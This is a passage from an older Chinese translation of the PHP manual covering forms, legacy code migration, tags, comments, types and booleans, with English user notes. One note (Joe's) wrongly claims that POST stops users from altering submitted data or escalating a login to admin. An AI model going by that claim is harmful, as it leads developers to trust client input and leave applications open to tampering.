也可以在 PHP 中处理 XForms 的输入，尽管可能更喜欢使用长久以来支持良好的 HTML 表单。XForms 目前还不适合初学者使用，但是用户可能对它感兴趣。手册中在“特点”一章有一节对如何处理从 XForum 接收到的数据进行了简短的介绍。

add a note add a note User Contributed Notes
Joe
29-May-2006 06:52
Just wanted to add a note:

For beginners, it is wise to use the "GET" method in forms because you can see what is being sent between the server and the web browser.

For example, in the example above, if you change
<form action="action.php" method="post">

to <form action="action.php" method="get">

you would get something like...

http://www.myserver.com/action.php?name=A&age=B

in your web browser.

However, a good idea is to always change the "GET" to a "POST" because the user of the browser cannot change the contents of the information being sent from the form to the webserver.

In the example given above,

<form action="action.php" method="post">

Would just have,

http://www.myserver.com/action.php

As you can see, no information is visible to the user of the browser.

In other words, _GET and _POST, has a lot of advantage over one another. I personally use "POST" in everything so that the user of the page cannot "spam" it by continually sending information with GET.

Simply put, with "GET" the user can physically change the values that the server gets, whereas with the "POST" method, the user will have a hard time changing the information sent to the server.

For example, if you have a user login service, you definitely want to submit the form by a "POST" so that if someone wants to "change" the account to something like admin, then he would have a hard time doing so because he cannot directly change the information on the browser URL line and then simply send it like that everytime.
David
23-May-2006 12:20
Grant Floyd's suggestion (in a two-year-old comment) to use HTTP GET for destructive actions like deleting users is an extremely dangerous one. It's a basic rule of the Web that HTTP GET should *never* do anything destructive -- any web agent that prefetches URLs for caching, etc., could end up deleting all of your users by following the links in the document.
yasman at phplatvia dot lv
05-May-2005 03:18
[Editor's Note: Since "." is not legal variable name PHP will translate the dot to underscore, i.e. "name.x" will become "name_x"]

Be careful, when using and processing forms which contains
<input type="image">
tag. Do not use in your scripts this elements attributes `name` and `value`, because MSIE and Opera do not send them to server.
Both are sending `name.x` and `name.y` coordiante variables to a server, so better use them.
grant_floyd at yahoo dot not dot yohoo dot com
22-Apr-2004 12:54
Refering to the GET/POST usage in the HTML specification mentioned:

Although GET will normally be used for requesting information from a webserver the length of the URL is limited to a maximum number of characters. So if you have a form which submits lots of information and text selections you will have to use a POST.

Likewise, sometimes it doesn't make any sense to create a form with a POST method to do something to the server.

For example, if you have a website with a list of users and you want to select one of them to delete, each username could be a 'Delete user' link.  It is easier to create a link called /website/deleteuser.php?id=<userid> for each, where deleteuser.php contains the (pseudocode):

$sql = "DELETE FROM usertable WHERE id = " . (int) $_GET['id'];

Finally, $_REQUEST is the simplest default retrieval method as it combines GET, POST and COOKIE information. One thing to be aware of is that it combines the information in an order of precedence defined by the server.

For example, if a website has a cookie with $username and you make up a POST form and use a variable '$username' you may get the $_POST['username'] value instead of the $_COOKIE['username'], causing you some confusion.

The order is defined on the server as 'variables_order'. This set the order of the EGPCS (Environment, GET, POST, Cookie, Server) variable parsing. The default setting of this directive is "EGPCS". So in the above example 'P' for POST comes before 'C' for COOKIE.
sethg at ropine dot com
02-Dec-2003 04:55
According to the HTTP specification, you should use the POST method when you're using the form to change the state of something on the server end. For example, if a page has a form to allow users to add their own comments, like this page here, the form should use POST. If you click "Reload" or "Refresh" on a page that you reached through a POST, it's almost always an error -- you shouldn't be posting the same comment twice -- which is why these pages aren't bookmarked or cached.

You should use the GET method when your form is, well, getting something off the server and not actually changing anything.  For example, the form for a search engine should use GET, since searching a Web site should not be changing anything that the client might care about, and bookmarking or caching the results of a search-engine query is just as useful as bookmarking or caching a static HTML page.
add a note add a note

后退 | 起点 | 前进
实用的脚本 | 上一级 | 在新版本的 PHP 中使用旧的 PHP 代码


在新版本的 PHP 中使用旧的 PHP 代码

现在，PHP 已经发展成为一种流行的脚本语言，可以在很多公共的资源里找到可以在自己的脚本中重新利用的代码。PHP 语言的开发者为向下兼容性下了很多功夫，因此在新版本的 PHP 下，老版本的代码应该可以在不作任何改动的情况下（理想地）运行。不过实际上，还是必须对老的代码做一些改动。

有可能影响到老版本的代码的最重要的两点改动分别是：

  • 取消了旧的 $HTTP_*_VARS 数组（在函数或者方法中原本是全局变量）。PHP 4.1.0 版本引入了如下自动全局数组变量：$_GET、$_POST、$_COOKIE、$_SERVER、$_FILE、$_ENV、$_REQUEST 以及 $_SESSION。老的 $HTTP_*_VARS 数组，诸如 $HTTP_POST_VARS 等，从 PHP 3 就已经开始使用，它们仍然存在。自 PHP 5.0.0 起，长格式的 PHP 预定义变量可以通过设置 register_long_arrays 来屏蔽。

  • 外部变量不再被默认注册为全局变量。也就是说，从 PHP 4.2.0 版开始，php.ini 中的设置选项 register_globals 默认值变成了 off。建议用以上提到的自动全局数组变量来访问这些值。但可能老的脚本、书籍以及教程都可能建立在该设置为 on 的基础上。如果该选项被设置为 on，则可以在 URL http://www.example.com/foo.php?id=42 中直接使用变量 $id。但不管被设置为 on 还是 off，$_GET['id'] 一直有效。

如果希望了解关于这些改动的细节，请参阅“预定义变量”一章以及其中的连接。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
处理表单 | 上一级 | 下一步做什么？


下一步做什么？

用现在掌握的知识，应该能够理解本手册中的大部分内容以及其中各式各样的脚本范例。在 php.net 网站的连接区 http://www.php.net/links.php 能购获得其它更多的范例。

请查阅 PHP Conference 资料网站 http://conf.php.net/ 及 http://talks.php.net/ 以观看更多幻灯片，这些幻灯片展示了许多 PHP 其它的功能。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
在新版本的 PHP 中使用旧的 PHP 代码 | 上一级 | 安装与配置


语言参考

PHP 手册
后退 前进

III. 语言参考

目录
10. 基本语法
11. 类型
12. 变量
13. 常量
14. 表达式
15. 运算符
16. 流程控制
17. 函数
18. 类与对象（PHP 4）
19. 类与对象（PHP 5）
20. 异常处理
21. 引用的解释

add a note add a note User Contributed Notes
Indrek Mandre <indrek(at)mare(dot)ee>
02-Sep-2003 06:45
I've created a PHP4 grammar for the Java based SableCC parser generator.
http://www.mare.ee/indrek/sablecc/
As there is no PHP language specification I can't guarantee its correctness but it seems to work on most files I've fed to it. It should make working on parsing PHP for various tasks a lot easier (loads easier than using the bison mess) but it's also only for Java.
add a note add a note

后退 | 起点 | 前进
怎样修改配置设定 |  | 基本语法


基本语法

PHP 手册
后退 前进

章 10. 基本语法

目录
从 HTML 中分离
指令分隔符
注释

从 HTML 中分离

当 PHP 解析一个文件时，会寻找开始和结束标记，标记告诉 PHP 开始和停止解释其中的代码。此种方式的解析可以使 PHP 嵌入到各种不同的文档中，凡是在一对开始和结束标记之外的内容都会被 PHP 解析器忽略。大多数情况下 PHP 都是嵌入在 HTML 文档中的，如下例所示。

<p>This is going to be ignored.</p>
<?php echo 'While this is going to be parsed.'; ?>
<p>This will also be ignored.</p>

还可以用更高级的结构：

例子 10-1. 高级分离术

<?php
if ($expression) {
    ?>
    <strong>This is true.</strong>
    <?php
} else {
    ?>
    <strong>This is false.</strong>
    <?php
}
?>
上例可正常工作，因为当 PHP 碰到结束标记 ?> 时，就简单地将其后的内容原样输出直到碰到下一个开始标记为止。当然，上面的例子很做作，但是对输出大块的文本而言，脱离 PHP 解析模式通常比将所有内容用 echo() 或者 print() 输出更有效率。

可以在 PHP 中使用四对不同的开始和结束标记。其中两种，<?php ?> 和 <script language="php"> </script> 总是可用的。另两种是短标记和 ASP 风格标记，可以在 php.ini 配置文件中打开或关闭。尽管有些人觉得短标记和 ASP 风格标记很方便，但移植性较差，通常不推荐。

注: 此外注意如果将 PHP 嵌入到 XML 或 XHTML 中则需要使用 <?php ?> 以保持符合标准。

例子 10-2. PHP 开始和结束标记

1.  <?php echo 'if you want to serve XHTML or XML documents, do like this'; ?>

2.  <script language="php">
        echo 'some editors (like FrontPage) don\'t
              like processing instructions';
    </script>

3.  <? echo 'this is the simplest, an SGML processing instruction'; ?>
    <?= expression ?> This is a shortcut for "<? echo expression ?>"

4.  <% echo 'You may optionally use ASP-style tags'; %>
    <%= $variable; # This is a shortcut for "<% echo . . ." %>

上例中的 1 和 2 总是可用的，其中 1 是最常用，并建议使用的。

短标记（上例 3）仅在通过 php.ini 配置文件中的指令 short_open_tag 打开后才可用，或者在 PHP 编译时加入了 --enable-short-tags 选项。

注: 如果用 PHP 3 还可以通过 short_tags() 函数激活使用短标记。此方法只适用于 PHP 3！

ASP 风格标记（上例 4）仅在通过 php.ini 配置文件中的指令 asp_tags 打开后才可用。

注: 对 ASP 风格标记的支持是 3.0.4 版添加的。

注: 在以下情况应避免使用短标记：开发需要发行的程序或者库，或者在用户不能控制的服务器上开发。因为目标服务器可能不支持短标记。为了代码的移植及发行，确保不要使用短标记。

add a note add a note User Contributed Notes
php at pixo dot sk
05-Apr-2006 07:58
just for conclusion:

<?php echo('<?xml version="1.0" ?'.'>'); ?>

is the right choice :)
brettz9 at yahoo dot com
02-Apr-2006 11:04
I've essentially tried to synthesize this
discussion at
http://en.wikibooks.org/wiki/Programming:
Complete_PHP/Escaping_from_HTML

One point not brought up yet...

The HEREDOC problem with some text editors
may be fixable in at least some text editors
by adding a comment with a quotation mark
as such afterwards (albeit necessarily on a
new line):

<?php

$version = "1.0";

print <<<HERE
<?xml version="
HERE;
//"

print $version."\"?>";

?>
Christoph
17-Jan-2006 09:08
Here's an inspiration on how to quickly fix all scripts relying on short_open_tag being enabled:

find -name '*.php' | xargs perl -pi -e 's/<\?= ?(.*?) ?\?>/<?php echo($1); ?>/g'
find -name '*.php' | xargs perl -pi -e 's/<\?/<?php/g'
find -name '*.php' | xargs perl -pi -e 's/<?phpphp/<?php/g'
Michael Newton (http://mike.eire.ca/)
13-Dec-2005 07:17
The XML declaration does not need to be handled specially.

You should output it via an echo statement, in case your code is ever used on a server that is (poorly) configured to use short open tags.

But there's no need to treat the ?> at the end of the string specially.  That's because it's in a string.  The only thing PHP ever looks for in a string is \ or $ (the latter only in double-quoted strings.)

I have never had need for the following, as some have suggested below:

<?php
$xml=rawurldecode('%3C%3Fxml%20version%3D%221.0%22%3F%3E');
echo($xml);
?>

<?php echo '<?xml version="1.0" ?'.'>' ?>

<?php echo "<?xml version=\"1.0\"\x3F>" ?>
php [AT] jsomers [DOT] be
23-Sep-2005 03:37
PEAR states:

Always use <?php ?> to delimit PHP code, not the <? ?> shorthand. This is required for PEAR compliance and is also the most portable way to include PHP code on differing operating systems and setups.

It are these small things that enhance readability in group projects, or libraries.
pablo [] littleQ.net
24-Jul-2005 05:06
Just another more "feature" of IE...

Content-Disposition: attachment; filename=\"__FILE__\";

__FILE__ can't have spaces or :

Regards
01karlo at gmail dot com
26-Jun-2005 11:44
Or, use the following:

<?php
$xml=rawurldecode('%3C%3Fxml%20version%3D%221.0%22%3F%3E');
echo($xml);
?>

What is does it the value of the variable $xml is the RAW Url Encoded version of the XML thing.
Then it decodes it and echo it to the visitor.
p o r g e s at the gmail dot com server
02-Apr-2005 12:02
mike at skew dot org, I believe the differentiation is that "x"-"m"-"l" as a PI target is explicitly excluded from the definition of processing instructions.
Lachlan Hunt
29-Mar-2005 01:06
The person that suggested the use of this meta element above is wrong:

<meta http-equiv="Content-Type" content="application/xml+xhtml; charset=UTF-8" />

That meta element and the XML declaration serve completely different purposes, and that meta element should not be used.  Such information should be set using the HTTP Content-Type header (see the header() function).

Any XHTML page that just uses that meta element without proper HTTP Content-Type header, will be processed as text/html by browsers regardless, and when the HTTP headers do serve as application/xhtml+xml (or other XML MIME type), that charset parameter in the meta element will be ignored.
mike at skew dot org
22-Oct-2004 07:53
mart3862 mentions "XML processing instructions" and quotes their syntax from the spec, but is mistaken in using

<?xml version="1.0" ...?>

as an example. This little bit of markup that appears at the beginning of an XML file is in fact not a processing instruction at all; it is an "XML declaration" -- or, if it appears in an entity other than the main document, a "text declaration". All three constructs are formatted slightly differently, although they all do begin and end with the same.

The difference between a processing instruction, an XML declaration, or a text declaration is more than just a matter of subtle differences in syntax, though. A processing instruction embodies exactly two opaque, author-defined pieces of information (a 'target' and an 'instruction') that are considered to be part of the document's logical structure and that are thus made available to an application by the XML parser. An XML or text declaration, on the other hand, contains one to three specific pieces of information (version, encoding, standalone status), each with a well-defined meaning. This info provides cues to the parser to help it know how to read the file; it is not considered part of the document's logical structure and is not made available to the application.
stooges_cubed at racerx dot net
21-Oct-2004 04:13
In the note above about escaping XML/PHP style <?xml tags, the following code was used:

<?php  // Html safe containers

   echo <<<EOD
<?xml version="1.0"?>
...all sorts of XML goes here...
Nothing will affect the output of this code until:
EOD;
?>

EOD is just an example stop/start name.

This works too:

<?php  // Html safe containers

  $myOutput = <<<MYHTMLSAFEOUTPUT
<?xml version="1.0"?>
<html>
  <title>PHP Example</title>
  <body>
   <p>...all sorts goes here...</p>
  </body>
</html>
MYHTMLSAFEOUTPUT;

echo $myOutput;

?>

Only disadvantage of using this is that all the code highlighting programs I've seen never get it right, making your code look eronous in the majority of viewers.

Another alternative is to keep the XML / HTML in a separate include file and read in when needed. I don't know how efficient/inefficient this is for (idiots like yourselves) small amounts of text.

xmlheader.txt:
<?xml version="1.0"?>

mypage.php:
<?php
  include("xmlheader.txt");
?>
crtrue at coastal dot edu
01-May-2004 02:02
Although you can use the above methods to pass a document off as a valid for the W3C parser, a simpler-and-perfectly-legal method of doing so is to simple declare the document type in a meta tag. Something along these lines (mind the values in 'content' - I haven't personally used the Content-Type method in awhile):

<meta http-equiv="Content-Type" content="application/xml+xhtml; charset=UTF-8" />

Of course if you're using just XML, and don't use such functions, then the above methods will work just as fine.
mart3862 at yahoo dot com dot au
19-Apr-2004 12:29
Now the ultimate truth on how you should output xml processing instructions:

There have been several posts suggesting ways to include the text <?xml version="1.0" encoding="utf-8"?> in your output when short_tags is turned on, but only the following should be used:

<?php echo '<?xml version="1.0" ?'.'>' ?>
or
<?php echo "<?xml version=\"1.0\"\x3F>" ?>

Using one of these methods, and not making use of short tags, means your source code will also be a valid XML document, which allows you to do many things with it such as validation, XSLT translations, etc, as well as allowing your text editor to parse your code for syntax colouring.  Every PHP tag will simply be interpreted as an XML processing instruction (commonly referred to as PI).

The reason why all the other suggested methods are not advisable is because they contain the characters ?> inside the PHP tag, which the XML parser will interpret as the end of the processing instruction.

A processing instruction is defined in XML as:

PI ::= '<?' PITarget (S (Char* - (Char* '?>' Char*)))? '?>'

In other words, it explicitly forbids the characters ?> to occur together within a processing instruction, unless they are delimiting the end of the tag.  It also requires a PITarget (an identifier starting with a letter) immediately after the initial start delimiter, which means that all short tag formats are also invalid XML.

Following these guidelines will result in code that is portable to servers with any configuration and allow you perform many useful tasks on your XML or XHTML source documents.  Even if you do not intend to validate or translate your source documents, and you can ignore some incorrect syntax colouring in your text editor, it is still best to get into good habits early.
Anon
22-Feb-2004 10:05
Yet another way of adding the XML processing instruction is to use:

<?php echo '<?xml version="1.0" ?'.'>' ?>

Because the ? and > are separated, the parser will not terminate before it is supposed to.

As a side note, the W3C's parser seems to recognise this method (assuming it even checks for the PI).
TarquinWJ
06-Feb-2004 10:54
Not spotted any messages like this one - delete it if there was one.

My hosting service allows <? and ?>, but I like to use valid XHTML, so I came up with this simple solution:

It is possible to use the short tags <? ?> with XHTML or XML documents. The only problem is that X(HT)ML requires a declaration using <? and ?>

<?xml version="1.0" encoding="UTF-8"?>

To avoid the problem, simply replace <? with <<? ?>?
and ?> with ?<? ?>>

<<? ?>?xml version="1.0" encoding="UTF-8"?<? ?>>

This inserts a blank piece of PHP in between the < and ?, and when parsed will output the regular tag
<?xml version="1.0" encoding="UTF-8"?>
mwild at iee dot NO_SP_AM dot org
19-Dec-2003 09:12
The text between <script> and </script> in XHTML is PCDATA, so <  and & characters in it should be interpreted as markup. This is a bit limiting for PHP, which is often used to output tags, though you can of course use &lt; and &amp; instead. To avoid that, which makes your code look peculiar and is easy to forget to do, you can mark the PHP as CDATA, eg :

<script language="PHP">
//<![CDATA[
echo('Today is <b>'.date('l F jS').'</b>');
//]]>
</script>

If you don't do this, and your code contains < or &, it should be rejected by an XHTML validator.
johnbeech at (not saying) mkv25 dot net
08-Dec-2003 08:42
In the note above about escaping XML/PHP style <?xml tags, the following code was used:

<?php  // Html safe containers

   echo <<<EOD
<?xml version="1.0"?>
...all sorts of XML goes here...
Nothing will affect the output of this code until:
   EOD;
?>

EOD is just an example stop/start name.

This works too:

<?php  // Html safe containers

  $myOutput = <<<MYHTMLSAFEOUTPUT
<?xml version="1.0"?>
<html>
  <title>PHP Example</title>
  <body>
   <p>...all sorts goes here...</p>
  </body>
</html>
MYHTMLSAFEOUTPUT;

echo $myOutput;

?>

Only disadvantage of using this is that all the code highlighting programs I've seen never get it right, making your code look eronous in the majority of viewers.

Another alternative is to keep the XML / HTML in a separate include file and read in when needed. I don't know how efficient/inefficient this is for small amounts of text.

xmlheader.txt:
<?xml version="1.0"?>

mypage.php:
<?php
  include("xmlheader.txt");
?>
dave at [nospam] dot netready dot biz
18-Mar-2002 08:21
A little "feature" of PHP I've discovered is that the <?PHP token requires a space after it whereas after the <? and <% tokens a space is optional.

The error message you get if you miss the space is not too helpful so be warned!

(These examples only give a warning with error_reporting(E_ALL) )

<?PHP/*<Some HTML>*/?> fails...
<?/*<Some HTML>*/?> works...
mrtidy at mail dot com
12-Dec-2001 04:36
[Ed Note:
This is because of short_tags, <?xml turns php parsing on, because of the <?.
--irc-html@php.net]

I am moving my site to XHTML and I ran into trouble with the <?xml ?> interfering with the <?php ?> method of escaping for HTML.  A quick check of the mailing list confirmed that the current preferred method to cleanly output the <?xml ?> line is to echo it:<br>
<?php echo("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n"); ?>
add a note add a note

后退 | 起点 | 前进
语言参考 | 上一级 | 指令分隔符


指令分隔符

同 C 或 Perl 一样，PHP 需要在每个语句后用分号结束指令。一段 PHP 代码中的结束标记隐含表示了一个分号；在一个 PHP 代码段中的最后一行可以不用分号结束。如果后面还有新行，则代码段的结束标记包含了行结束。

<?php
    echo "This is a test";
?>

<?php echo "This is a test" ?>

注: 文件末尾的 PHP 代码段结束标记可以不要，有些情况下当使用输出缓冲和 include() 或者 require() 时省略掉会更好些。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
基本语法 | 上一级 | 注释


注释

PHP 支持 C，C++ 和 Unix Shell 风格（Perl 风格）的注释。例如:

<?php
    echo "This is a test"; // This is a one-line c++ style comment
    /* This is a multi line comment
       yet another line of comment */
    echo "This is yet another test";
    echo "One Final Test"; # This is shell-style style comment
?>

单行注释仅仅注释到行末或者当前的 PHP 代码块，视乎哪个首先出现。这意味着在 // ?> 之后的 HTML 代码将被显示出来：?> 跳出了 PHP 模式并返回了 HTML 模式，// 并不能影响到这一点。如果启用了 asp_tags 配置选项，其行为和 // %> 相同。不过，</script> 标记在单行注释中不会跳出 PHP 模式。

<h1>This is an <?php # echo "simple";?> example.</h1>
<p>The header above will say 'This is an example'.

C 风格的注释在碰到第一个 */ 时结束。小心不要嵌套 C 风格的注释，当注释大量代码时，可能犯该错误。

<?php
/*
    echo "This is a test"; /* This comment will cause a problem */
*/
?>

add a note add a note User Contributed Notes
mst_NO_SPAM_TO_ME at mstsoft dot com
05-Jun-2006 08:38
This "comment ends on line break or end of PHP Block" thing can be confusing. I discovered this by accident when working with XML Output from PHP...

<?PHP

header("Content-type: text/xml");

/*
echo "<?xml version=\"1.0\"?>";
echo "<page>multi-line comments work as expected.</page>";
*/

//echo "<?xml version=\"1.0\"?>";
//echo "<page>single-line comments end php mode and output your code.</page>";

?>

I would expect the comment to work, but there is no parsing in comments so the String suddenly becomes a PHP  end-block tag, which is correct reading this documentation.

cheers,
martin
PS: You even see the behavior in the Syntax highlighting :-)
J Lee
26-May-2006 02:39
MSpreij (8-May-2005) says  /* .. */ overrides //
Anonymous (26-Jan-2006) says // overrides /* .. */

Actually, both are correct. Once a comment is opened, *everything* is ignored until the end of the comment (or the end of the php block) is reached.

Thus, if a comment is opened with:
   //  then /* and */ are "overridden" until after end-of-line
   /*  then // is "overridden" until after */
21-Jan-2006 05:46
M Spreij wrote, 08-May-2005 08:15...
A nice way to toggle the commenting of blocks of code can be done by mixing the two comment styles:
...
This works because a /* .. */ overrides //.

The final sentence should be the other way round, i.e.

This works because a // overrides /* .. */.
(If it didn't the /* .. */ would comment out the code regardless of whether an additional '/' is prefixed to the first line).
samuli dot karevaara at lamk dot fi
12-Nov-2005 12:30
If you want to comment out large sections of code (temporarily, usually and hopefully), consider using
<?php
if (0) {
     print("This code is 'commented' out");
}
?>
instead of /* comment block */. Otherwise, as noted here, you will have parse errors if the block that you commented out contains */ somewhere, like in regexp or in another comment.
hcderaad at wanadoo dot nl
30-Jun-2005 04:51
Comments in PHP can be used for several purposes, a very interesting one being that you can generate API documentation directly from them by using PHPDocumentor (http://www.phpdoc.org/).

Therefor one has to use a JavaDoc-like comment syntax (conforms to the DocBook DTD), example:
<?php
/**
* The second * here opens the DocBook commentblock, which could later on<br>
* in your development cycle save you a lot of time by preventing you having to rewrite<br>
* major documentation parts to generate some usable form of documentation.
*/
?>
Some basic html-like formatting is supported with this (ie <br> tags) to create something of a layout.
M Spreij
09-May-2005 03:15
A nice way to toggle the commenting of blocks of code can be done by mixing the two comment styles:
<?php
//*
if ($foo) {
  echo $bar;
}
// */
sort($morecode);
?>

Now by taking out one / on the first line..

<?php
/*
if ($foo) {
  echo $bar;
}
// */
sort($morecode);
?>
..the block is suddenly commented out.
This works because a /* .. */ overrides //. You can even "flip" two blocks, like this:
<?php
//*
if ($foo) {
  echo $bar;
}
/*/
if ($bar) {
  echo $foo;
}
// */
?>
vs
<?php
/*
if ($foo) {
  echo $bar;
}
/*/
if ($bar) {
  echo $foo;
}
// */
?>
Steve
15-Dec-2004 08:41
Be careful when commenting out regular expressions.

E.g. the following causes a parser error.

I do prefer using # as regexp delimiter anyway so it won't hurt me ;-)

<?php

/*

 $f->setPattern('/^\d.*/');

*/

?>
add a note add a note

后退 | 起点 | 前进
指令分隔符 | 上一级 | 类型


类型

PHP 手册
后退 前进

章 11. 类型

目录
介绍
布尔型
整型
浮点型
字符串
数组
对象
资源
NULL
本文档中使用的伪类型
类型戏法

介绍

PHP 支持八种原始类型。

四种标量类型：

  • boolean（布尔型）

  • integer（整型）

  • float（浮点型，也作“double”）

  • string（字符串）

两种复合类型：

  • array（数组）

  • object（对象）

最后是两种特殊类型：

  • resource（资源）

  • NULL

为了确保代码的易读性，本手册还介绍了一些伪类型：

  • mixed

  • number

  • callback

可能还会读到一些关于“双精度（double）”类型的参考。实际上 double 和 float 是相同的，由于一些历史的原因，这两个名称同时存在。

变量的类型通常不是由程序员设定的，确切地说，是由 PHP 根据该变量使用的上下文在运行时决定的。

注: 如果想查看某个表达式的值和类型，用 var_dump()。

注: 如果只是想得到一个易读懂的类型的表达方式用于调试，用 gettype()。要查看某个类型，不要用 gettype()，而用 is_type 函数。以下是一些范例：

<?php
$bool = TRUE;   // a boolean
$str  = "foo";  // a string
$int  = 12;     // an integer

echo gettype($bool); // prints out "boolean"
echo gettype($str);  // prints out "string"

// If this is an integer, increment it by four
if (is_int($int)) {
    $int += 4;
}

// If $bool is a string, print it out
// (does not print out anything)
if (is_string($bool)) {
    echo "String: $bool";
}
?>

如果要将一个变量强制转换为某类型，可以对其使用强制转换或者 settype() 函数。

注意变量根据其当时的类型在特定场合下会表现出不同的值。更多信息见类型戏法。此外，你还可以参考 PHP 类型比较表看不同类型相互比较的例子。

add a note add a note User Contributed Notes
carlosreche at yahoo dot com
09-Mar-2006 07:41
Here is a function to debug any type of variable (excluding "resource" types).

Greets!

<?php

/**
 * void debug ( mixed Var [, bool Exit] )
 *
 * Carlos Reche
 * Jan 14, 2006
 */
if (!function_exists("debug")) {
   function debug($var, $exit = false) {
       echo "\n<pre>";
       if (is_array($var) || is_object($var)) {
           echo htmlentities(print_r($var, true));
       } elseif (is_string($var)) {
           echo "string(" . strlen($var) . ") \"" . htmlentities($var) . "\"\n";
       } else {
           var_dump($var);
       }
       echo "</pre>";
       if ($exit) {
           exit;
       }
   }
}

?>
arjini at gmail dot com
07-Dec-2005 04:32
Note that you can chain type castng:

var_dump((string)(int)false); //string(1) "0"
shahnaz khan
18-Mar-2005 08:40
if we use gettype() before initializinf any variable it give NULL
for eg.

<?php
$foo;
echo gettype($foo);
?>

it will show

NULL
Trizor of www.freedom-uplink.org
30-Jun-2004 09:14
The differance of float and double dates back to a FORTRAN standard. In FORTRAN Variables aren't as loosly written as in PHP and you had to define variable types(OH NOES!). FLOAT or REAL*4 (For all you VAX people out there) defined the variable as a standard precision floating point, with 4 bytes of memory allocated to it. DOUBLE PRECISION or REAL*8 (Again for the VAX) was identical to FLOAT or REAL*4, but with an 8 byte allocation of memory instead of a 4 byte allocation.

In fact most modern variable types date back to FORTRAN, except a string was called a CHARACHTER*N and you had to specify the length, or CHARACHTER*(*) for a variable length string. Boolean was LOGICAL, and there weren't yet objects, and there was support for complex numbers(a+bi).

Of course, most people reading this are web programmers and could care less about the mathematical background of programming.

NOTE: Object support was added to FORTRAN in the FORTRAN90 spec, and expanded with the FORTRAN94 spec, but by then C was the powerful force on the block, and most people who still use FORTRAN use the FORTRAN77.
philip at cornado dot com
06-Jun-2001 03:02
To see if something is numeric (a number) then use is_numeric().  All form data is returned as strings so checking a form value as an integer will return false.

http://www.php.net/is_numeric
add a note add a note

后退 | 起点 | 前进
注释 | 上一级 | 布尔型


布尔型

这是最简单的类型。boolean 表达了真值，可以为 TRUE 或 FALSE。

注: 布尔类型是 PHP 4 引进的。

语法

要指定一个布尔值，使用关键字 TRUE 或 FALSE。两个都不区分大小写。

<?php
$foo = True; // assign the value TRUE to $foo
?>

通常你用某些运算符返回 boolean 值，并将其传递给控制流程。

// == is an operator which test
// equality and returns a boolean
if ($action == "show_version") {
    echo "The version is 1.23";
}

// this is not necessary...
if ($show_separators == TRUE) {
    echo "<hr>\n";
}

// ...because you can simply type
if ($show_separators) {
    echo "<hr>\n";
}

转换为布尔值

要明示地将一个值转换成 boolean，用 (bool) 或者 (boolean) 来强制转换。但是很多情况下不需要用强制转换，因为当运算符，函数或者流程控制需要一个 boolean 参数时，该值会被自动转换。

参见类型戏法。

当转换为 boolean 时，以下值被认为是 FALSE：

  • 布尔值 FALSE

  • 整型值 0（零）

  • 浮点型值 0.0（零）

  • 空白字符串和字符串 "0"

  • 没有成员变量的数组

  • 没有单元的对象（仅适用于 PHP 4）

  • 特殊类型 NULL（包括尚未设定的变量）

所有其它值都被认为是 TRUE（包括任何资源）。

警告

-1 和其它非零值（不论正负）一样，被认为是 TRUE！

<?php
var_dump((bool) "");        // bool(false)
var_dump((bool) 1);         // bool(true)
var_dump((bool) -2);        // bool(true)
var_dump((bool) "foo");     // bool(true)
var_dump((bool) 2.3e5);     // bool(true)
var_dump((bool) array(12)); // bool(true)
var_dump((bool) array());   // bool(false)
var_dump((bool) "false");   // bool(true)
?>

add a note add a note User Contributed Notes
jasper at jtey dot com
08-Jun-2006 05:16
A correction to my previous note below, with regards to the following code snippet:
<?php
// lower case vowel check (incorrect)
$c = "u";
$isVowel = $c == "a"||"e"||"i"||"o"||"u";
?>

The portion containing '$c == "a"||"e"||"i"||"o"||"u"' should be '$c == "a"|| $c == "e"|| $c == "i"|| $c == "o"|| $c == "u"' instead.  The correct code is therefore:

<?php
// lower case vowel check (corrected)
$c = "u";
$isVowel = $c == "a"|| $c == "e"|| $c == "i"|| $c == "o"|| $c == "u";
?>
jasper at jtey dot com
06-Jun-2006 03:51
The following expressions are equivalent:
<?php
// setting true
$flag = true;
$flag = True;
$flag = TRUE;
$flag = 1==1;

// setting false
$flag = false;
$flag = False;
$flag = FALSE;
$flag = 1==2;
?>

The moral of the story is that boolean operators return a boolean value, i.e., "1==1" returns a boolean value of true.  Someone who is not aware of this may write a block of code such as:
<?php
// even number?
$num = 10;
if($num % 2 == 0){
  $isEven = true;
}
else{
  $isEven = false;
}
?>

when all that is needed is:
<?php
$num = 10;
$isEven = $num % 2 == 0;
?>

Other examples, for illustrative purposes:
<?php
// two numbers
$a = 2;
$b = 3;
$aBiggerThanB = 2 > 3; // $aBiggerThanB is set to false

// lower case vowel check
$c = "u";
$isVowel = $c == "a"||"e"||"i"||"o"||"u";
?>
alex dot baldacchino at email dot it
17-May-2006 12:48
About bnab at southphlattewebdesign dot com concern, I think that's globally a casting and backward compatibility matter: as this manual states, a boolean TRUE is converted to string "1" and this is meaningful being the number 1 a - let's say - "historical" true value, while a FALSE value is converted to an empty string for some reason (I guess that may be for concatenation reason or because of an internal representation of strings with the empty string as the first/main false value and the non empty "0" string being a sort of legacy/completness secondary false value).

This is the echo behaviour with boolean types, but let's note that boolean type have been introduced in php 4, while the preg_match function was introduced previously, in php 3.0.9, so it's returned type is integer and possible results are 0 for false and 1 for true (being this a "historical", or if preferred "(ANSI) C-like" convention), so in this case the echo function is not yet converting a boolean value to a string, but a number to a string, and number convertion rules applies. In order to preserve compatibility with such a convention, a numerical value of 0 is interpreted as a boolean false in a, let's say, boolean context, as well as the string "0", so to have a correct 0 (number) -> "0" (string) -> false (boolean) -> 0 (number, again) conversion.
bnab at southphlattewebdesign dot com
11-May-2006 07:05
Assignment of a boolean value:

I beat my head on this one: Depending upon how the boolean value is assigned, it determines the actual boolean value on a FALSE value - integer, empty string etc...

Take the following example:
<?php
$x;
$i = true;
echo $i.' I should be true or 1<br><br>'; //value = 1
$i = false;
echo $i.' I should be false or 0<br><br>'; //value = ''
$i = isset($x);
echo $i.' I should be false, as X has no value<br><br>'; //value = ''
$x = 'a string';
$i = preg_match('/str/',$x);
echo $i.' I should be true on match<br><br>'; //value = 1
$i = preg_match('/trinsg/', $x);
echo $i.' I should be false on no match'; //value = 0
?>

The preg_match is false on the second time around, and thus is now assigned the boolean false value of 0.  While in trying to create a boolean literal with value false, it gets assigned as an empty string false value.  Further, I run the isset check and it assigns the empty string, while preg_match assigns the 0 value.

